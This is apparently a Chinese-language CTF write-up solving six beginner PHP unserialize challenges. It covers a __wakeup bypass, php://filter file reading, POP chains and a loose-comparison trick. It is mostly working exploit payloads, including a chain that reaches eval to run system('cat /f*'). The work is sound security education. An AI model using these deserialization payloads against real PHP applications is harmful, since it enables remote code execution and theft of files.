目录
①[SWPUCTF 2021 新生赛]ez_unserialize
②[SWPUCTF 2021 新生赛]no_wakeup
③[ZJCTF 2019]NiZhuanSiWei
④[SWPUCTF 2021 新生赛]pop
⑤[HUBUCTF 2022 新生赛]checkin
⑥[MoeCTF 2021]unserialize
入门,入门,本文只记录入门题!!!!!
(进阶一点的后面会搞的)
进来先是无聊的八股
访问看到源码
贴出payload,太简单了不解释
$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
echo serialize($a);
题目暗示简单粗暴,一个绕过__wakeup的小trick
$a=new HaHaHa();
$a->admin="admin";
$a->passwd="wllm";
echo serialize($a);
//O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
php的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();
然后因为要绕个__wakeup嘛,
最终payload:?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
简单审一下,都是套路,不解释,直接贴payload
?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
base64解码得
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
很简单的反序列化,其实就是利用echo触发__tostring
贴出payload:
$a=new Flag();
$a->file="php://filter/convert.base64-encode/resource=flag.php";
echo serialize($a);
//O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
最终payload:
?text=data://text/plain,welcome to the zjctf&
file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
base64解码即可获得flag
进来就看到源码
admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
一眼pop链, 掏出记事本开始写链子
w22m::__destruct -> w33m::__toString -> w44m Getflag()
构造:
w00m=$b;
$b->w00m=$c;
$b->w22m="Getflag()";
echo serialize($a);
echo "\n";
echo urlencode(serialize($a));
(若不进行url编码,私有和保护属性的部分,存在不可见字符)
最终payload:
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
这题很有意思,要反过来思考
info传进去的经过反序列化后要是一个数组,且满足if条件
"this_is_secret","password"=>"this_is_not_known_to_you");
$aa=serialize($a);
echo $aa;
//a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}
传进去发现没回显
(抬头发现注释://here I changed those two,得,上弱比较)
0,"password"=>0);
$aa=serialize($a);
echo $aa;
//a:2:{s:8:"username";i:0;s:8:"password";i:0;}
最终payload:
?info=a:2:{s:8:"username";i:0;s:8:"password";i:0;}
贴出源码先:
start = $start;
}
function __destruct()
{
$this->start->helloworld();
}
}
class springboard
{
public $middle;
function __call($name, $arguments)
{
echo $this->middle->hs;
}
}
class evil
{
public $end;
function __construct($end)
{
$this->end = $end;
}
function __get($Attribute)
{
eval($this->end);
}
}
if(isset($_GET['serialize'])) {
unserialize($_GET['serialize']);
} else {
highlight_file(__FILE__);
}
掏出记事本秒搓链子
entrance::__construct -> start::__destruct -> springboard::__call -> evil::__construct|__get
$b=new springboard();
$c=new evil("system('cat /f*');");
$a=new entrance();
$a->start=$b;
$b->middle=$c;
echo serialize($a);
//O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('cat /f*');";}}}
payload:
?serialize=O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:18:"system('cat /f*');";}}}
过于简单,没啥好说